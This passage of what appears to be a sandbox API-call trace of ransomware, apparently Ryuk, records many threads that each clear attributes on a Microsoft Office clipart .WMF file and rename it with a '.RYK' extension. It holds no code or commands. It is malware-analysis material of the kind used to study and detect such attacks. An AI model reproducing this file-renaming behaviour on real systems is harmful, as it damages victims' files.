	[0277.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF", dwFileAttributes=0x80) returned 0
	[0277.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.302] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3585
	os_tid = 0x3cac

	[0277.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF", dwFileAttributes=0x80) returned 0
	[0277.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.552] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.552] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3586
	os_tid = 0x3cb0

	[0277.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF", dwFileAttributes=0x80) returned 0
	[0277.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3587
	os_tid = 0x3cb4

	[0277.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF", dwFileAttributes=0x80) returned 0
	[0277.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.308] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.308] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3588
	os_tid = 0x3cb8

	[0277.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF", dwFileAttributes=0x80) returned 0
	[0277.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.310] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3589
	os_tid = 0x3cbc

	[0277.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF", dwFileAttributes=0x80) returned 0
	[0277.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.312] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3590
	os_tid = 0x3cc0

	[0277.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF", dwFileAttributes=0x80) returned 0
	[0277.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.551] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3591
	os_tid = 0x3cc4

	[0277.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF", dwFileAttributes=0x80) returned 0
	[0277.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.550] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3592
	os_tid = 0x3cc8

	[0277.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF", dwFileAttributes=0x80) returned 0
	[0277.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.548] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3593
	os_tid = 0x3ccc

	[0277.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF", dwFileAttributes=0x80) returned 0
	[0277.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.547] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.547] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3594
	os_tid = 0x3cd0

	[0277.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF", dwFileAttributes=0x80) returned 0
	[0277.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.544] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3595
	os_tid = 0x3cd4

	[0277.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF", dwFileAttributes=0x80) returned 0
	[0277.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.737] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3597
	os_tid = 0x3ce0

	[0277.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF", dwFileAttributes=0x80) returned 0
	[0277.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.844] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3598
	os_tid = 0x3ce4

	[0277.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF", dwFileAttributes=0x80) returned 0
	[0277.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.992] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3599
	os_tid = 0x3ce8

	[0277.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF", dwFileAttributes=0x80) returned 0
	[0277.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.993] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3600
	os_tid = 0x3cec

	[0277.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF", dwFileAttributes=0x80) returned 0
	[0277.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.995] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3601
	os_tid = 0x3cf0

	[0277.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF", dwFileAttributes=0x80) returned 0
	[0277.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.996] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3602
	os_tid = 0x3cf4

	[0277.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF", dwFileAttributes=0x80) returned 0
	[0277.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.997] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3603
	os_tid = 0x3cf8

	[0277.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF", dwFileAttributes=0x80) returned 0
	[0277.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.998] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3604
	os_tid = 0x3cfc

	[0277.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF", dwFileAttributes=0x80) returned 0
	[0277.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3605
	os_tid = 0x3d00

	[0277.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", dwFileAttributes=0x80) returned 0
	[0277.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.000] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.000] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3606
	os_tid = 0x3d04

	[0277.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF", dwFileAttributes=0x80) returned 0
	[0277.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.001] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3607
	os_tid = 0x3d08

	[0277.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF", dwFileAttributes=0x80) returned 0
	[0277.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.729] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3608
	os_tid = 0x3d0c

	[0277.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF", dwFileAttributes=0x80) returned 0
	[0277.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.002] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3609
	os_tid = 0x3d10

	[0277.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF", dwFileAttributes=0x80) returned 0
	[0277.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.679] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3611
	os_tid = 0x3d24

	[0277.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF", dwFileAttributes=0x80) returned 0
	[0277.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.030] CloseHandle (hObject=0xffffffffffffffff) returned 0
